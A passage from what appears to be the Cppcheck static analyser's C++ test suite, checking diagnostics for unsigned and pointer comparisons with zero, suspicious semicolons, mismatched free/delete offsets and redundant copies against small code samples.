{}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void 